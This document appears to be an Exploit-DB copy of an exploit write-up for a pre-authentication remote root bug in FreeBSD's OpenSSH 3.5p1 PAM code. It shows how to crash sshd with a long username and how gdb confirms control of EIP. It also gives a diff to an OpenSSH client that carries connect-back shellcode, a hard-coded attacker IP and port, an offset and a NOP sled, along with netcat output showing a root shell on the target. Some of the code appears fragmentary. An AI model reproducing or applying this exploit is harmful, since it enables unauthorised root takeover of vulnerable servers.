OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope |
The last two days I have been investigating a vulnerability in OpenSSH |
affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run |
OpenSSH 3.5p1 in the default install. |
The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930". |
A working Remote Exploit which spawns a root shell remotely and |
previous to authentication was developed. |
The bug can be triggered both through ssh version 1 and ssh version 2 |
using a modified ssh client. During the investigation of the vulnerability it was found that |
the bug resides in the source code file "auth2-pam-freebsd.c". |
http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c |
This file does not exist in FreeBSD releases greater than 5.2.1. The last commit |
Specifically the bug follows a code path in the PAM Authentication Thread inside this |
source code, "pam_thread()". It could not be verified if the bug is inside this |
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself. |
Both the challenge response (ssh version 1) and keyboard interactive via pam |
(ssh version 2) authentications go through this code path. |
By supplying a long username to the daemon the sshd crashes. |
h4x# sysctl kern.sugid_coredump=1 |
kern.sugid_coredump: 0 -> 1 |
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138 |
h4x# tail -1 /var/log/messages |
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped) |
Looking into the coredump reveals: |
Copyright 1998 Free Software Foundation, Inc. |
GDB is free software, covered by the GNU General Public License, and you are |
welcome to change it and/or distribute copies of it under certain conditions. |
Type "show copying" to see the conditions. |
There is absolutely no warranty for GDB. Type "show warranty" for details. |
This GDB was configured as "i386-unknown-freebsd". |
Core was generated by `sshd'. |
Program terminated with signal 11, Segmentation fault. |
The sshd crahes at a place with illegal instructions. It looks like it depends |
on how the sshd is started. Starting the sshd from the console as root and running |
the ssh client with long username again reveals: |
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138 |
Copyright 1998 Free Software Foundation, Inc. |
GDB is free software, covered by the GNU General Public License, and you are |
welcome to change it and/or distribute copies of it under certain conditions. |
Type "show copying" to see the conditions. |
There is absolutely no warranty for GDB. Type "show warranty" for details. |
This GDB was configured as "i386-unknown-freebsd". |
Core was generated by `sshd'. |
Program terminated with signal 11, Segmentation fault. |
0x41414141: Cannot access memory at address 0x41414141. |
As you can see in the above gdb output we can control EIP completely. |
If someone finds out on what this behaviour depends, especially why EIP can |
be controlled when starting sshd in the console and can not be easily controlled |
when being run from the boot sequence, please drop me an email at |
isowarez.isowarez.isowarez (at) googlemail.com |
Anyhow this procedure shows that the sshd can be exploited because the instruction |
pointer can be fully controlled. |
The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client. |
Using a reverse shellcode it will spawn a rootshell. |
Only one offset is needed, the position of the shellcode can be found the following way: |
Copyright 1998 Free Software Foundation, Inc. |
GDB is free software, covered by the GNU General Public License, and you are |
welcome to change it and/or distribute copies of it under certain conditions. |
Type "show copying" to see the conditions. |
There is absolutely no warranty for GDB. Type "show warranty" for details. |
This GDB was configured as "i386-unknown-freebsd". |
Core was generated by `sshd'. |
Program terminated with signal 11, Segmentation fault. |
(gdb) while(*++$x!=0x90909090) |
The printed address is the beginning of the shellcode nopsled. |
Attached is the Proof of Concept as a diff to OpenSSH-5.8p2. |
It roughly does the following: |
root@debian:~# ./ssh -1 192.168.32.138 |
root@debian:~# nc -v -l -p 10000 |
listening on [any] 10000 ... |
192.168.32.138: inverse host lookup failed: Unknown host |
connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038 |
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005 root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 |
uid=0(root) gid=0(wheel) groups=0(wheel) |
root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c |
> // Connect Back Shellcode |
> #define IPADDR "xc0xa8x20x80" |
> #define PORT "x27x10" /* htons(10000) */ |
> "x31xc9" // xor ecx, ecx |
> "x89xc3" // mov ebx, eax |
> "x68"IPADDR // push dword 0101017fh |
> "x66x68"PORT // push word 4135 |
> "x89xe6" // mov esi, esp |
> "x68x2fx2fx73x68" // push dword 68732f2fh |
> "x68x2fx62x69x6e" // push dword 6e69622fh |
> "x89xe3" // mov ebx, esp |
> // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1 |
> memcpy(buffer, "AAAAx58xd8x07x08""CCCCDDDDEEEExd8xd8x07x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24); |
> memset(buffer+24, 'x90', 5000); |
> memcpy(buffer+24+5000, sc, sizeof(sc)); |
Kingcope
Fonte: http://www.exploit-db.com/exploits/17462/